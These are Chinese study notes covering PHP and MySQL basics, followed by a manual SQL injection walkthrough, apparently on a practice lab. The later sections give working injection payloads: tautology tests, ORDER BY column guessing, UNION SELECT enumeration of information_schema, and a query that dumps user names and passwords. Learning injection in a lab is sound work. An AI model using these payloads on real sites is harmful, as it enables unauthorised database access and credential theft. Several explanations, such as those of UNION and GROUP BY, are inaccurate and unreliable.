#一、PHP语言基础
##1、PHP 脚本以 <?php 开头,以 ?> 结尾,PHP 文件的默认文件扩展名是 “.php”,PHP 语句以分号结尾(;),PHP 函数 “echo” 的作用是在网页上输出文本 。(在网站根目录下建立)
##2、PHP基本语法:
(1)三种注释的区别
(2)变量规则
(3)单双引号区别
(4)循环语句(与C语言一致)
(5)索引数组,关联数组
(6)三层构架中的信息流
##3、URL (统一资源定位符)
作用:提供资源(通常是文档)的路径或位置
结构:协议://授权/路径?查询
例子:http://www.cobranet.org/about.php?id=1
##4、GET请求和 POST请求
GET和POST是HTTP中定义的客户端可以发送给服务器的两种操作
通过get方法传递参数,注意id参数值,数字和字符串的输出结果,变量$id也可以取其它名字.
但访问的时候要保持URL中?后面参数的名字与变量名一致。
##5、PHP连接到一个 MySQL 数据库,通过 mysql_connect() 函数完成
##6、PHP从数据库中选取数据,通过 SELECT语句完成
select column_name(s) form table_name
##7、完整的sql注入测试页面
#二、mysql
##1、如何在众多数据库中定义到一条数据?
首先是数据库
然后是数据表
最后根据字段确定数据
##2、连接符操作
在一个SQL语句里用多个不同的操作符进行多种比较,常用于 WHERE子句中。
AND:所有由AND连接的条件都为TRUE,SQL语句才会执行
OR:只要OR连接的条件里有一个是TRUE,SQL语句就会执行(永真式)
#三、准备注入的基本知识
##1、附加命令:
union select :联合查询,即前一条查询语句失败后执行后一条语句。
Select * from users where id=-1 union select 1,2,3;
group by:后接数字,表示按照第几列进行排序。
group_concat:将查询结果以一行的形式输出
##2、数字型:
如果数据库查询语句如下:
Select from users where id=$id;
用户的输入是如果是:id=-1 or 1=1
此时构造出来的查询语句为:
Select from users where id=-1 or 1=1;
此时where的判断条件恒真
##3、字符型:
如果数据库查询语句如下:
Select from users where id=‘$id’;
用户的输入是如果是:id=-1 or 1=1
此时构造出来的查询语句为:
Select from users where id=‘-1 or 1=1’;
可是如果用户输入是:id=-1‘ or ‘1’=‘1
此时查询语句为:
Select * from users where id=‘-1’ or ‘1’=‘1’;
#四、手动注入
##1、判断是否存在注入,注入是字符型还是数字型
输入1,查询成功:
输入1’ and ‘1’ =’2,查询失败,返回结果为空:
输入1’or ‘1 ’=’1,查询成功:
返回了多个结果,说明存在字符型注入
##2、猜解SQL查询语句中的字段数
输入1’ or 1=1 order by 1 #,查询成功
输入1’ or 1=1 order by 2 #,查询成功
输入1’ or 1=1 order by 3 #,查询失败
注意:说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
(这里也可以通过输入union select 1,2,3…来猜解字段数)
##3、确定显示的字段顺序
输入1’union select 1,2 #,查询成功
##4、获取当前数据库
输入1′ union select 1,database() #,查询成功
对应Surname为当前数据库名
##5、获取数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功
Information_schema.tables:包含所有数据表名
Information_schema.columns:包含所有字段
其中table_schema字段表示数据库名
table_name字段表示数据表名
column_name字段表示列名
##6、获取表中的字段名
输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功
##7、下载数据
输入1′ or 1=1 union select group_concat(id,first_name,last_name),group_concat(password) from users #,查询成功